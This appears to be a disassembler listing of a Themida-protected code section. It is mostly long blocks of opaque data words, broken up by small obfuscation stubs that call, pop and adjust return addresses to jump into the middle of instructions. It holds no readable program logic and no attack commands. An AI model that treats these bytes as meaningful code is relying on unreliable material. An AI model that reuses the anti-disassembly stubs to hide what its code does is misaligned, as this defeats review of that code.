dd 4DBD030Ch, 0FF061203h, 121449B5h, 0C1B52906h, 0FF06122Ch
dd 1219CD95h, 0FEB70F06h, 6A00B0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 63E172C3h, 543855BFh
dd 0F9864F52h, 0BABE70E6h, 0F3D5A1Fh, 89h, 8171E400h, 58A760EFh
dd 0F613C28h, 29F83h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 503CCE0Bh, 0B57EBE66h
dd 0B1B58B5Eh, 0E9061234h, 0Dh, 3B77ED22h, 3C42253Ah, 0E372C755h
dd 0D8B60F34h, 3B3976BEh, 6BA4Ch, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B3279C3h
dd 0B0BF66C3h, 4E8C18Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 68C35646h, 6636E16Fh, 9589FB8Bh, 6122CE5h
dd 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0FFF2C353h, 0FB213702h, 0FDB58B8Ah
dd 0E906120Dh, 11h, 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h
dd 0E1B58B8Eh, 2B061206h, 52006AD8h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6A589FCBh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 426BC351h, 0AC1ABF66h, 6820Fh, 0BD8B0000h
dd 6120DADh, 880FD82Bh, 16Ch, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0EBC35747h, 0EC0F404Bh, 6744CBFh
dd 0DE816671h, 7B9DF68h, 52000000h, 302D8D89h, 835F0612h
dd 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0E666BDC3h, 8D0F4Fh, 3B000000h, 5860FD9h
dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0D4A9C356h, 45D30AEFh, 66FC995Dh
dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 6DBD9AC3h, 811DAC47h, 15A98589h, 0C1F60612h
dd 9F840F04h, 66000000h, 3005F681h, 13595FFh, 0FB8B0612h
dd 6890F5Bh, 8B000000h, 12006DB5h, 6AC32B06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 8C2DC352h, 0C960904Fh, 0FA8B6652h, 8343D5Eh, 860F0000h
dd 52h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
dd 3AC35646h, 69BEDFB2h, 31391044h, 1214E98Dh, 32E906h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 4A71A7C3h, 0FC809DDh, 0C08BF1BFh, 6810Fh
dd 0BD8B0000h, 6120C75h, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 4DC35747h, 7DAB23D4h, 820F9F1Bh
dd 6, 2D7D9D01h, 10E90612h, 2D000000h, 60904F8Ch, 18F69FC9h
dd 8BB39CF3h, 0C7C082F0h, 12204985h, 0A027D306h, 53006A1Ch
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9D29606Ah, 612088Dh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0CDF8E1C3h, 68F324B9h
dd 0BD81F9A7h, 6121449h, 7D0h, 2B850Fh, 6A0000h, 3E853h
dd 5B200000h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop ebx
loc_584F4E: ; DATA XREF: ___:00436EFCo
mov [esp+4], ebx
add dword ptr [esp+4], 17h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
les esp, [ecx]
retf 0FFBBh
; ---------------------------------------------------------------------------
test [ecx+14h], ecx
adc al, [esi]
mov [ebp+612158Dh], edx
push dword ptr [ebp+6121449h]
mov si, 0CA2Fh
call dword ptr [ebp+61219CDh]
push 0
push ebx
call sub_584F88
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584F88 proc near ; CODE XREF: Themida_:00584F80p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_584F88 endp
; ---------------------------------------------------------------------------
dd 71036680h, 68F0Fh, 0DF810000h, 7AF2CCA5h, 9D91CE81h
dd 958903D6h, 6122AE9h, 5678B890h, 9D8D1234h, 615E59Fh
dd 0FFF8D4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0C18BEBA0h, 25B58960h
dd 0E8061215h, 0Ch, 73AF2222h, 0EA93D9B7h, 56AFDF09h, 5E81CE80h
dd 0DEBF6661h, 4EBBEh, 8B000000h, 120331BDh, 10E906h, 17F80000h
dd 49513003h, 78900CDh, 4977BBE3h, 816612FBh, 8D51E2C6h
dd 122E0185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 805ECB6h, 8BA89B52h, 121421B5h, 4DBF5006h
dd 897E4C79h, 0BF662404h, 6A5606h, 6A5F51h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1C35242h, 0CB42BA28h
dd 0D5BD8B51h, 5E061206h, 8F1EBE66h, 0E7C2858Dh, 6A0615h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 816634C3h, 8321B6F7h, 0BD8B05C0h, 61215E1h, 52505150h
dd 7E9310Fh, 0AB000000h, 0D8C2B02h, 585A145Bh, 2404895Eh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h
dd 3D0D86C1h, 68A0FE4h, 29000000h, 12132185h, 6A006A06h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 2692C352h, 6A3BF226h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 89B4887Eh
dd 9C19F383h, 0EDBD8BD1h, 0FF061220h, 120DB595h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F6816693h, 9D8D5B57h, 615AF02h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0A2C35141h, 3B28D89Bh, 13BE6695h
dd 6AD3FFD4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0A57C355h, 0FE67542Bh, 85FF16B5h
dd 6120679h, 0EF0E9h, 0E800h, 815D0000h, 15E7CCEDh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 9B055134h, 26DB58Bh, 0BE660612h, 0BD811EC9h, 6121449h
dd 7D0h, 11B860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 364A90C3h, 8B2EC8A7h
dd 1223DDB5h, 1D9D8B06h, 0F061205h, 82h, 0E38100h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 8DE9C352h, 14389587h, 1AF99589h, 0F88B0612h
dd 850FDB0Bh, 43h, 5BF3BF66h, 0E5F1BD83h, 0F000615h, 1184h
dd 55858900h, 0E9061219h, 5Fh, 2A99BD0Bh, 85C70612h, 615E5F1h
dd 1, 5159529h, 44E90612h, 0F000000h, 68Bh, 31BD0B00h
dd 0C7061200h, 15E5F185h, 6, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 6F31ACDh, 0BF6681A9h
dd 820F645Ah, 3, 8DFEBF0Fh, 12051D9Dh, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0BF58D8ABh, 18FA62F4h, 0FF2381FCh, 81FFFFFEh, 8CF204D7h
dd 0DB8C661Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 92C35343h, 0F6F38B66h, 840F04C3h, 18h, 13595FFh
dd 8D290612h, 6121795h, 89FA8B50h, 9D892404h, 6121619h
dd 4C8E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 17BF667Eh, 6A00B035h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4009C353h
dd 0B50B70E6h, 6122AC5h, 89E72BBFh, 6A71E47Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0E7E4C350h, 0BD8B89BFh, 6121F69h, 53D8B60Fh, 6BA5EFCh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 5CB8C355h, 12E9863Fh, 32000000h
dd 1CA8B19Ah, 64ED1127h, 77C35E3Fh, 677739C1h, 0DE81662Bh
dd 0C38B4160h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 5037C357h, 689A5350h
dd 0F76636C4h, 6E9E2h, 23970000h, 0C287A43Ch, 6AD82Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0E91017C3h, 6050FC5Ch, 0F525060h, 57585A31h, 8961615Fh
dd 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 3E622C3h, 0B5FFFCF1h, 6121449h, 26A5B501h
dd 95FF0612h, 61219CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 24C35747h, 0ADC246E5h, 0B0C33FBFh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 3695CDFCh, 0E5B58BD8h, 0E6061218h, 56006A70h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0E984161Ah, 5, 57CC1CDFh, 6A71E4AFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 98C3C356h
dd 0FE3FB28h, 830F613Ch, 2D5h, 43F5BF66h, 6AD8B60Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 9886C350h, 10E895h, 230000h, 0C425AC0Fh, 947DFA9Dh
dd 67125478h, 8950E79Ch, 122F319Dh, 295E5E06h, 1210A9BDh
dd 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0EE7123C3h, 8B664995h, 66C38BF2h
dd 0C13559BFh, 665604E8h, 7386D781h, 0E2F7665Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 0DB7EF372h
dd 661B705Ch, 2BF838BFh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8BF364A1h, 12166DB5h
dd 9D895806h, 6121C09h, 880FD82Bh, 1F5h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Bh, 4EC35040h, 0C31DA68Dh
dd 0B9F8B7BCh, 7, 2BD9B523h, 83FC0612h, 6A00C1h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 2A9497C3h, 848EABBEh, 0D93BEB75h, 197860Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 2E94FBC3h, 610FBF74h, 8C66779Ch, 56006AD9h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4C1F6C1h, 12B840Fh
dd 0FC600000h, 2E13EF81h, 8B614B0Ah, 122AC5B5h, 3595FF06h
dd 6A061201h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0F27C357h, 682h, 0D1B53300h, 5B061234h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E8C35747h
dd 0D71B358Fh, 53499F02h, 0BE9h, 0FF0D0800h, 0C43F2AF7h
dd 0BCF87AEFh, 6AC32Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 9642C7C3h, 72F1DDC2h
dd 11E8FDh, 2BDD0000h, 0E749DB91h, 9260734Ah, 52DE4ECAh
dd 5EAB2681h, 8343Dh, 72860F00h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B5CCC356h
dd 0E754ABACh, 0CE92Fh, 7D6E0000h, 80F33C60h, 0F49D38Eh
dd 0D681475Fh, 565E0C77h, 54E9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 816552BAh
dd 40AE5BDFh, 9E861h, 7DBE0000h, 35693DB0h, 0FC9617D5h
dd 6AC08B5Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0C4DFC353h, 8BC38B0Fh, 0A5B58BD8h
dd 0C7061223h, 1222B185h, 11EFBD06h, 57006A5Bh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0EBCA7127h
dd 99C772C3h, 159D89AAh, 8B06122Fh, 55006AC0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 49BD817Ch
dd 0D0061214h, 0F000007h, 3685h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 79134C62h
dd 66A8871Ah, 0BCBEFA8Bh, 0FF675853h, 12144985h, 1BF68106h
dd 0FF46BEAFh, 121449B5h, 0D5BD8B06h, 0FF061219h, 1219CD95h
dd 13E906h, 0E7470000h, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh
dd 44357E45h, 6A4090F3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 103BC355h, 1C6DB04Dh
dd 1FC1BD83h, 0F000612h, 0D884h, 0F525600h, 5F5EF9BFh
dd 0F6816653h, 835FE1C4h, 120099BDh, 840F0006h, 0BDh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7CC35040h, 297ED11Dh
dd 0D1FCAC18h, 7DB58B2Fh, 0FF061210h, 121FC195h, 0FA8B6606h
dd 840FC00Bh, 81h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 40C35646h, 0B58D8D19h, 0E906124Dh, 0Ah
dd 0E24B7DDBh, 0B9AC8374h, 5B831A5h, 0E9000000h, 13h, 0A3EC5472h
dd 6BBCF7B1h, 0C369835Fh, 165B5768h, 0FF28C75Bh, 50006AE1h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DEEF686Bh, 0E5033A81h, 8166EA4Bh, 296AADC7h, 12013DB5h
dd 0D9BD8306h, 61229h, 68B840Fh, 840F0000h, 4, 2665BE66h
dd 99BD83h, 0F000612h, 67484h, 4DBD8900h, 8D061217h, 1213718Dh
dd 0F58D8906h, 0C7061229h, 0B27C8401h, 57006A44h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8B663E90h, 0CB0181F7h, 6A1499CFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0DC2C350h
dd 0C68166C1h, 41C7333Ah, 706B3404h, 8F0F60CEh, 4, 0CFFCB866h
dd 29A9B50Bh, 81610612h, 0D7100441h, 6A31D6h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 39F45FC3h
dd 6A446Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 21C35545h, 0E2B44B2Fh, 0DE937h, 0C0F40000h, 8BE200A0h
dd 0FFFD5D81h, 668C2367h, 8DDAC0BFh, 12137185h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0F0232BF7h, 89AC7E0Ah, 121F69B5h, 0BE89006h, 7F000000h
dd 0AD2C18A9h, 0CEF6DDF9h, 56517801h, 505F5F5Eh, 0FBB70F90h
dd 29D995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 9195E6C3h, 0DF81E59Dh, 7D9466C3h
dd 13718D8Dh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0E8BAE6C3h, 6, 0BCE930EBh, 0C75FEF95h
dd 1, 79BD8B00h, 0F061217h, 68Ah, 29952900h, 0C7061203h
dd 441h, 0B600000h, 1222B9BDh, 8B606106h, 120DA585h, 6180B106h
dd 840FC00Bh, 47h, 9FE8B66h, 1234C995h, 0B58D8D06h, 6A06124Dh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 6F54C357h, 0C9250B5Dh, 8E9h, 33346B00h, 0D95CD2CDh
dd 5B87Ah, 5F520000h, 8DF5E1FFh, 1213718Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BD8B6223h, 6122CB1h, 0CE9h, 0A860A900h, 4E382E5h, 0BE97E67Eh
dd 7C01C70Eh, 6A44AA72h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 6C72C350h, 0EDBD8B37h
dd 8106122Ch, 99CFCB01h, 0FE914h, 6A070000h, 6956A086h
dd 0B8F1E98h, 943E6A6Fh, 441C763h, 0CE78753Ch, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 0D31900BDh
dd 9E9h, 0F5E5300h, 38EDBD1Ah, 41816B3Ch, 0D6D71004h, 55006A31h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0B3FE3D8Fh, 8CBF664Dh, 0D18589F6h, 8B061203h, 121D91B5h
dd 9006A06h, 1221A1BDh, 71858D06h, 0E9061213h, 8, 0D1F5F31Fh
dd 287F6F06h, 0F525050h, 28B0F31h, 60000000h, 89585A61h
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0F59F1EC3h, 2C69B58Bh, 95FF0612h, 61229D9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6CC35545h
dd 0CE9CAh, 8410000h, 30F36C4Eh, 36656761h, 8D8DF068h
dd 6121371h, 4B46E681h, 1C73032h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_585DCF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585DCF proc near ; CODE XREF: Themida_:00585DC7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_585DCF endp
; ---------------------------------------------------------------------------
retf 7961h
; ---------------------------------------------------------------------------
dw 0BD68h
; ---------------------------------------------------------------------------
mov ds:61808C50h, eax
mov [ebp+6121D0Dh], esi
mov edi, 53C1BA58h
mov dword ptr [ecx+4], 0
mov esi, [ebp+6122C39h]
mov edi, [ebp+6120479h]
or eax, eax
jz loc_585E6B
mov [ebp+6122C41h], edx
lea ecx, [ebp+6124DB5h]
push 0
push edi
call sub_585E26
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E26 proc near ; CODE XREF: Themida_:00585E1Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_585E26 endp
; ---------------------------------------------------------------------------
dw 7228h
dd 5B8C5CEh, 0FF000000h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 5BFE15DCh, 85A06BEFh
dd 4D8D8995h
; ---------------------------------------------------------------------------
adc dl, [edx]
push es
loc_585E6B: ; CODE XREF: Themida_:00585E09j
lea ecx, [ebp+6121371h]
push 0
push ebp
call sub_585E7C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E7C proc near ; CODE XREF: Themida_:00585E74p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_585E7C endp
; ---------------------------------------------------------------------------
dd 2B665812h, 32094700h, 1C76EDEh, 54CA95A5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9FC35242h, 3A9BD0Bh
dd 1810612h, 1499CFCBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 0AAC35343h, 0D51C96D4h, 0B5E3A968h, 441C759h
dd 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0D3C35242h, 6A8EB9B7h, 7C90FBD7h, 5CCE81FCh, 810EDAD1h
dd 0D7100441h, 6A31D6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 399209C3h, 6AC80AE2h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8D87BEEEh, 12137185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 54BFDC46h, 29AE22DBh
dd 0B5038D68h, 6122A51h, 0BE950h, 255A0000h, 4B190822h
dd 1CC24FEEh, 24048941h, 860Fh, 95FF0000h, 61229D9h, 61605060h
dd 0F1858B5Eh, 6106120Dh, 13718D8Dh, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 1C7BFC3h
dd 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_585FF3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585FF3 proc near ; CODE XREF: Themida_:00585FEBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_585FF3 endp
; ---------------------------------------------------------------------------
db 1Fh
dd 262CFB53h, 0D68166A8h, 41C72424h, 4, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0DCFAF2FFh, 0B18C913h, 7A840FC0h, 0B000000h, 120489B5h
dd 0B58D8D06h, 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 0AD34C356h, 0DFB70F60h
dd 280AC381h, 0FC6164B5h, 5B8h, 61BD8900h, 0FF061204h
dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 4A396AD0h, 96FB8D95h, 0B58B6009h, 61222D5h
dd 2F599D01h, 81610612h, 0C5E181EEh, 0E9CA032Dh, 0FFFFF11Dh
dd 8E9h, 9C1E2700h, 8A10620Ch, 6AC18BADh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A063C350h
dd 8D71404Dh, 0EB0CDD1Fh, 4, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B58B7BA6h
dd 61206F1h, 2E01858Dh, 0BF0F0612h, 48950FAh, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0C5B58BBAh, 8B061208h, 121CC9BDh, 6A006A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0E09C356h, 818A0CC4h, 22CDBD8Bh, 6A0612h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F9C35343h, 0DACFF8C3h
dd 9B3493C3h, 0C5B58B7Ah, 8D061204h, 15F8B385h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 7540B26h, 0E78877C4h, 0C083D943h, 0A5BF9005h, 507D9041h
dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0BCA117Ah, 6A7D0958h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 235BF286h
dd 8D1635E0h, 6A006AFEh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 150EC352h, 4D246358h
dd 668560FCh, 8E12DE81h, 0DB595FFh, 6A0612h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B0CC67C3h
dd 207BCDB2h, 451B523h, 9D8D0612h, 615AF02h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A3C35747h, 14800Fh
dd 0EE80000h, 79000000h, 0AB2A2BE0h, 0DCE77BFAh, 0DCF2C10Eh
dd 0F08B5EABh, 8166D3FFh, 0FF0BDEE6h, 12067985h, 752E906h
dd 0E80000h, 5D000000h, 0F8BDED81h, 0B560615h, 122A4DB5h
dd 0BD815E06h, 6121449h, 7D0h, 101860Fh, 0F6810000h, 4CBDD43Bh
dd 1CB19D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 2E8053C3h, 0E381F3A8h, 100h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0FF7E2FAEh
dd 67BE663Eh, 65BD2368h, 0B061229h, 45850FDBh, 66000000h
dd 5BF8E681h, 0F6DFBD83h, 0F000615h, 1884h, 8E900h, 0B2470000h
dd 777E778Ah, 4FE9C792h, 8B000000h, 121ED5BDh, 0DF85C706h
dd 10615F6h, 89000000h, 120DF18Dh, 34E906h, 0BD890000h
dd 61212E1h, 0F6DF85C7h, 615h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B513A8C3h
dd 7713A289h, 9D8D5D11h, 6121CB1h, 0FEFF2381h, 0BE8FFFFh
dd 0F7000000h, 0AF0232Bh, 62AAC7Eh, 85098532h, 6120451h
dd 0DDBD895Fh, 66061212h, 0B533DB8Ch, 61216A5h, 0F04C3F6h
dd 4184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0A464B4F5h, 0D9B5892Fh, 8906121Dh
dd 1209B59Dh, 3595FF06h, 33061201h, 1230D1BDh, 4FBF5006h
dd 89768DD3h, 0B9E92404h, 66000003h, 0B00E53BEh, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0D9DD1AAFh, 70E68A19h, 4999589h, 71E40612h, 6AD8B60Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0E90FC353h, 0F91047A1h, 6BA369Ah, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0FCA3C355h, 0B529AE7Eh, 61206D1h, 6AC38Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0A4D91EC3h, 0BF660542h, 0E8C11674h, 333BBF04h, 0F7663469h
dd 0A98D89E2h, 2B061234h, 57006AD8h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0E02D2768h
dd 0D61BEE5Fh, 0CE93751h, 7A000000h, 53DC3AA0h, 8EE32C66h
dd 9338FDECh, 0F525050h, 0AE831h, 53300000h, 1712647Ah
dd 792A61FDh, 93585A5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 95C35545h, 81662D87h, 0FF9F9DEEh, 121449B5h
dd 38E0F06h, 66000000h, 95FFF98Bh, 61219CDh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h, 8B66F858h
dd 0BDB58BF0h, 0B0061226h, 6800F00h, 89000000h, 12000D85h
dd 37BF6606h, 8170E695h, 735F2AC7h, 6671E44Bh, 0C1B7F681h
dd 830F613Ch, 228h, 2AC5BD09h, 0B60F0612h, 6BAD8h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 228A2FC3h, 0F8B70F52h, 8850F5Fh, 56000000h, 21AD9589h
dd 8B5F0612h, 99529C3h, 0C106122Ch, 6A04E8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BF0F76C3h
dd 0E2F766FEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0D0C35242h, 94C7FB3h, 120991BDh, 6AD82B06h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 1E5C350h, 122F89B5h, 0BF665806h, 0D82B20AEh, 166880Fh
dd 11E90000h, 97000000h, 0DAF60124h, 2DAA3454h, 15F935E5h
dd 6D30AFE9h, 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0F72625A6h, 0BF25E91Bh
dd 0C18390E7h, 81BD8B00h, 3B061205h, 15860FD9h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0B454C355h, 0AECC6565h, 0F2B70F33h, 6AD98C66h
